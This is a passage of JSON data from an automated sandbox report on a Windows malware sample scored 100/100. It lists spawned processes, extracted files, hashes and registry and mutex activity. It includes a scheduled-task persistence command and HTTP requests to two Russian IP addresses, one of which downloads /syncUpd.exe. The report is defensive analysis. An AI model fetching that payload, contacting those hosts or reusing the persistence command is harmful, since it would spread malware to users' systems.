session"}],"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}]},"activity":{"stats":{"process_count":9,"spawned_processes_count":9,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":86,"dropped_files_count":0,"extracted_files_count":6,"files_written_count":18,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":0,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["taily","windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"65c05ccc5a311396f60d5599","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"46d44e00b19778dfb3f9615c774c8589","analysis_start_time":"2024-02-05T03:58:05+00:00","indicators_count":{"informative":164,"suspicious":47,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"185.172.128.90","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"address":"185.172.128.127","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}],"dns_resolutions":null,"http_requests":[{"host":"185.172.128.90","host_ip":"185.172.128.90:80","url":"/cpa/ping.php?substr=eight&s=ab","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /cpa/ping.php?substr=eight&s=ab HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.90\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"host":"185.172.128.127","host_ip":"185.172.128.127:80","url":"/syncUpd.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /syncUpd.exe HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.127\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"host":"185.172.128.127","host_ip":"185.172.128.127:80","url":"/ping.php?substr=eight","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /ping.php?substr=eight HTTP/1.1\nUser-Agent: NSIS_Inetc (Mozilla)\nHost: 185.172.128.127\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}],"processes":[{"pid":5136,"ppid":0,"name":"46d44e00b19778dfb3f9615c774c8589.exe","command_line":"","sha256":"a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5","normalized_path":"C:\\46d44e00b19778dfb3f9615c774c8589.exe","uid":"00000000-00005136","icon":"$49"},{"pid":7532,"ppid":5136,"name":"BroomSetup.exe","command_line":"","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","normalized_path":"%TEMP%\\BroomSetup.exe","parent_uid":"00000000-00005136","uid":"00000000-00007532"},{"pid":7012,"ppid":7532,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00007532","uid":"00000000-00007012"},{"pid":6464,"ppid":7012,"name":"chcp.com","command_line":"chcp 1251","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00007012","uid":"00000000-00006464"},{"pid":5700,"ppid":7012,"name":"schtasks.exe","command_line":"schtasks /create /tn \"MalayamaraUpdate\" /tr \"'%TEMP%\\Updater.exe'\" /sc minute /mo 30 /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00007012","uid":"00000000-00005700"},{"pid":7428,"ppid":5136,"name":"nsgF90E.tmp","command_line":"","sha256":"29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6ca601c1bb197f73a712","normalized_path":"%TEMP%\\nsgF90E.tmp","parent_uid":"00000000-00005136","uid":"00000000-00007428"},{"pid":7188,"ppid":7428,"name":"nsgF90E.tmp","command_line":"","sha256":"29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6ca601c1bb197f73a712","normalized_path":"%TEMP%\\nsgF90E.tmp","parent_uid":"00000000-00007428","uid":"00000000-00007188"},{"pid":4020,"ppid":7188,"name":"WerFault.exe","command_line":"-u -p 7188 -s 8","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007188","uid":"00000000-00004020"},{"pid":5128,"ppid":0,"name":"WerFault.exe","command_line":"-pss -s 392 -p 7188 -ip 7188","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","uid":"00000000-00005128","icon":"$4a"}],"all_imported_dlls":["IPHLPAPI.DLL","INetC.dll","wtsapi32.dll","wkscli.dll","sechost.dll","version.dll","mscms.dll","TextInputFramework.dll","oleaut32.dll","oleacc.dll","msctf.dll","xmllite.dll","windows.storage.dll","comctl32.dll","setupapi.dll","urlmon.dll","aepic.dll","bcryptprimitives.dll","KernelBase.dll","win32u.dll","ulib.dll","netapi32.dll","cryptbase.dll","gdi32full.dll","winnsi.dll","bcrypt.dll","combase.dll","powrprof.dll","clbcatq.dll","imagehlp.dll","CoreMessaging.dll","cryptsp.dll","kernel32.dll","rpcrt4.dll","shell32.dll","shlwapi.dll","shfolder.dll","WinTypes.dll","fsutilext.dll","cfgmgr32.dll","wininet.dll","winhttp.dll","msimg32.dll","INETRES.dll","WindowsCodecs.dll","sspicli.dll","profapi.dll","imm32.dll","VxSSL32.dll","ws2_32.dll","userenv.dll","iertutil.dll","compstui.dll","wow64win.dll","msvcp_win.dll","fltLib.dll","ntmarta.dll","nsi.dll","cscapi.dll","GdiPlus.dll","wow64cpu.dll","msvcrt.dll","gdi32.dll","CoreUIComponents.dll","cmdext.dll","ntdll.dll","SHCore.dll","apphelp.dll","dwmapi.dll","msIso.dll","comdlg32.dll","samcli.dll","kernel.appcore.dll","OnDemandConnRouteHelper.dll","colorui.dll","cldapi.dll","user32.dll","advapi32.dll","uxtheme.dll","propsys.dll","mswsock.dll","winsta.dll","taskschd.dll","wow64.dll","ucrtbase.dll","ole32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Task.bat","sha256":"0aac4703993b76877110f374fdf0fc1481d5ea7a8dfd3f4afd2c08837090a2e5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"syncUpd_1_.exe","sha256":"29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6ca601c1bb197f73a712","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"BroomSetup.exe","sha256":"50a46b3120da828502ef0caba15defbad004a3adb88e6eacf1f9604572e2d503","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"nsgF90E.tmp","sha256":"29fabd2edb0606ebd3c176c967d040fae12acb6f3b8d6ca601c1bb197f73a712","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"INetC.dll","sha256":"85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"ping_1_.htm","sha256":"5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%TEMP%\\nszEAE3.tmp","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%TEMP%\\BroomSetup.exe","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%TEMP%\\nsqEDB3.tmp","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%TEMP%\\nsqEDB3.tmp\\INetC.dll","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\ping[1].htm","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%TEMP%\\nsgF90E.tmp","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\syncUpd[1].exe","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\4EKOOWYY\\ping[1].htm","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"path":"%APPDATA%\\Temp\\Task.bat","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"SM0:5136:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Local\\SM0:5136:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"Local\\SM0:7532:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]},{"name":"SM0:7532:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65c05ccc5a311396f60d5599"}]}]}},"report_ids":{"sandbox_job_ids":["65c05ccc5a311396f60d5599"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Malware Sample a2426a4ecc9b… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a2426a4ecc9b…. Malware family: Malware. Threat score 100/100. 6/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample a2426a4ecc9b… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a2426a4ecc9b…. Malware family: Malware. Threat score 100/100. 6/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a2426a4ecc9babad217d30ecc526382eb2b72a2611dd4c752c3811ecc038b6c5"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample a2426a4ecc9b… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a2426a4ecc9b…. Malware family: Malware. Threat score 100/100. 6/25 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4b","11",{}]]